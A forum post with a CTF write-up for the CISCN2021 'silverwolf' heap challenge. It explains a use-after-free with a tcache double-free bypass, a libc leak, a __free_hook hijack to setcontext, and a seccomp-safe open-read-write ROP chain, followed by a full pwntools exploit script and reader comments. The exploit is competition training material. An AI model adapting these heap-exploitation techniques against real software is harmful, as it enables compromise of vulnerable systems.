首页
社区
课程
招聘
[原创]CISCN2021 sliverwolf PWN400
2021-5-16 19:43 12963

[原创]CISCN2021 sliverwolf PWN400

2021-5-16 19:43
12963

感叹一下。太久没有做过libc pwn了,手生的不是一点 : (

 

初赛打完了,我们这边一共出了4/6个 PWN,不过学弟出的那一道800分的PWN远程我们调了半天调试不通,猜测是远程的seccomp影响了堆风水,有点遗憾。。(后浪们上来了啊)

 

这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。

题目概览

  • libc2.27的1.3版本,已经带了tcache的double free检测。需要通过破坏key来绕过double free检测。

  • 开启了seccomp。以白名单的方式限制了只能是orw系统调用。
    图片描述
    图片描述

  • 限制了chunk的大小不能申请大于0x78的。
    图片描述

漏洞位置

图片描述

 

主要就是这个很明显的UAF漏洞。可以导致:

  • 在突破tcache的double free检测后,可以连续double free。
  • 可以通过show打印出已经被free后的chunk中的指针。
    图片描述
  • 可以在free后去edit修改对应的指针内容。

利用思路

泄露libc

由于限制chunk的大小不能大于0x78,所以正常情况下没法去把一个chunk放入unsortedbin。
这里有两种思路:

  1. 通过free+edit劫持tcache chunk的next指针指向tcache pthread(大小为0x250),然后申请出来,连续free他,直到填满tcahce被放入unsotedbin。
  2. 在堆上伪造大的fakechunk,直接free掉fakechunk。

我这里采用1.

劫持free_hook

我们有了libc后,轻易的就可以将free_hook劫持为setcontext+53,而setcontext+53可以轻易的通过多次mov操作来重新设置寄存器,以rdi为base address来取值(类似srop),然后如果我们通过free操作,控制rdi指向的chunk首布置栈转移的chain,也就相当于可以控制了所有寄存器的值。此时完成了堆上orw的第一个准备。

分两次写入白名单orw链

在申请出来tcache pthread后我们可以对整个tcache的情况进行修改,而整个白名单orw链需要0xd8的空间,刚好比0x78+0x68大0x8。所以我们劫持tcahce pthread钟大小为0x80和0x70的tcahce的指针指向合适的地址,add0x68->写入orw1、add0x78->写入orw2,而orw1+orw2连续起来就是完成的堆上orw链。

 

最后free掉布置了栈转移的chunk即可,将rsp迁移到堆上orw链的起始位置。

 

这里需要注意:syscall;ret 这条指令直接拿ROPgadgets是搜不到的,我们直接将libc文件放入ida,根据他的编码:0x0f 0x05 0xc3在ida的binary search中搜索编码就能找到了。
图片描述

 

2.27的orwHeap在:https://blog.csdn.net/carol2358/article/details/108351308
这篇文章中有比较详细的描述,我就不从0讲了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "./libc-2.27.so"
elf_path = "./silverwolf_2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Your choice: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(index='',size='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
def free(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def clean():
    for i in range(14):
        add(0,0x18)
 
    add(0,0x58)
 
    for i in range(12):
        add(0,0x68)
 
def exp():
    global io
    #io = process(elf_path)
    # get_proc_base(io)
    # get_libc_base(io)
    io = remote('124.70.110.211',23535)
    clean()
    add(0,0x78)
 
    free(0)
    show(0)
    r(9)
    raw = u64(r(6).ljust(8,'\x00'))
    info("raw:"+hex(raw))
   # pause()
    heap = raw-0x1170
    success("heap: "+hex(heap)) # 泄露了heapbase
 
    edit(0,p64(heap+0x10)+p64(0)+'\n')
    #free(0)     # 0x555555757e90
    add(0,0x78)
    add(0,0x78#这里申请到了tacahce pthread
    #free(0)
    edit(0,'\x00'*0x78)
 
    for i in range(7):
        free(0)
        edit(0,p64(0)*2+'\n')
 
    free(0)     # 将tacahce pthread放入ub
    show(0)
 
    r(9)
    libc.address = u64(ru('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
    success("libc: "+hex(libc.address))
    setcontext = libc.sym['setcontext']+53
    free_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(free_hook))
    success("setcontext:"+hex(setcontext))
    #free(0)          #              0x48               0x58         0x68                   0x78
    edit(0,p64(0x1)*8+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+'\n')     # 准备打freehook,0xf20和0xe80是相邻的,用来写orw链
    success("orw:"+hex(heap+0xe18))
    add(0,0x58)                         # 把freehook申请出来
    edit(0,p64(setcontext)+'\n')        # 改freehook为setcontext
    #free(0)
    add(0,0x48)
 
    flag_addr = heap+0xf30
    rsp = heap+0xe18
    rbx = 0
    rbp = 0
    r12 = 0
    r13 = 0
    r14 = 0
    pop_rdi = libc.address+0x00000000000215bf
    stack_pivot = flat(
        rbx,rbp,r12,r13,r14,
        rsp+8,
        pop_rdi,'./flag\x00'
    )
    info("stack_pivot len:"+hex(len(stack_pivot)))
    edit(0,stack_pivot+'\n')
    add(0,0x68)     # 申请出0x50的写orw1
    flag_str_addr = heap+0xf30
    pop_rdi = libc.address+0x00000000000215bf
    pop_rsi = libc.address+0x0000000000023eea
    syscall = 0xD2745+libc.address      #0x0f 0x05 0xc3
    pop_rax = libc.address + 0x0000000000043ae8
    pop_rdx_r10 = 0x0000000000130544+libc.address
    flag_addr = heap+0x200
    info(hex(pop_rdi)+' '+hex(pop_rsi))
    orw1 = flat(
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall,
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_r10,
        0x100,
    )
    edit(0,orw1+'\n')
 
    add(0,0x78)
    orw2 = flat(
        0,
        pop_rax,
        0,
        syscall,
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx_r10,
        0x100,
        0,
        pop_rax,
        1,
        syscall
    )
    edit(0,orw2+'\n')
 
    shell()
 
exp()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-16 19:47 被Roland_编辑 ,原因:
上传的附件:
收藏
点赞5
打赏
分享
最新回复 (4)
雪    币: 12040
活跃值: (15364)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-5-17 09:13
2
0
感谢分享
雪    币: 449
活跃值: (262)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
盛夏的第五章 2021-5-26 17:21
3
0
seccomp确实会影响堆的风水,主要是seccomp_rule_add和seccomp_load这两个函数影响了tcache和fastbin的风水。
雪    币: 2171
活跃值: (2267)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Lpwn 2 2021-5-26 18:33
4
0
syscall;ret这条gadget可以用ropper来找
雪    币: 449
活跃值: (262)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
盛夏的第五章 2021-5-28 16:41
5
0
针不戳,虽然还有一些看的不是很懂。另外提醒一下楼主,exp代码最后漏了一行 free(0)。
游客
登录 | 注册 方可回帖
返回